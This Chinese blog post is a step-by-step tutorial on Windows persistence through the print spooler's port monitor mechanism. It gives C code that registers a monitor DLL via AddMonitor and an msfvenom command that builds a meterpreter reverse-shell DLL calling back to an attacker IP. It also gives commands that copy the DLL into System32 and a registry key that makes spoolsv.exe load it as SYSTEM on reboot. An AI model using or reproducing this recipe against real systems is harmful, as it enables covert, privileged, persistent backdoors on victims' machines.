window权限维持——Monitor权限维持

Monitor 权限维持

项目地址:
https://github.com/Al1ex/Monitor
#include “Windows.h”

int main() {
	MONITOR_INFO_2 monitorInfo;
	TCHAR env[12] = TEXT("Windows x64");
	TCHAR name[12] = TEXT("Monitor");
	TCHAR dll[12] = TEXT("test.dll");
	monitorInfo.pName = name;
	monitorInfo.pEnvironment = env;
	monitorInfo.pDLLName = dll;
	AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
	return 0;
}

pName //监视器名称
pEnvironment //环境架构
pDLLName //监视器DLL文件的名称

原理:
主要通过此项目实现一个白加黑的方式,此项目为白,我们创建的dll文件为黑,再通过注册表建立值,从而实现我们持续化的权限维持:

漏洞复现:
Step 2:使用Msfvenom生成dll攻击载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll
test_dll

Step 3:将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的PDLLName,你也可以自己修改为自己喜欢的,总之随意)

copy C:\temp\shell.dll C:\Windows\System32\test.dll
copy

Step 4:之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):
在这里插入图片描述

Monitors.exe

将Monitor及dll文件都放入目标主机的system32目录下:
注:这里dll文件名是因为直接拿的项目编译好的exe文件使用,所以需与源码里面写的名称一致,如自行编译,那么文件名称可更改。
在system32目录下执行Monitor.exe,成功反弹shell:

Step 5:之后成功接收到Meterpreter会话

在这里插入图片描述

持久化实现

为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:

reg add “hklm\system\currentcontrolset\control\print\monitors\Pentestlab” /v “Driver” /d “test.dll” /t REG_SZ
regedit

在这里插入图片描述

在这里插入图片描述

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件,下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了

shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明月清风~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值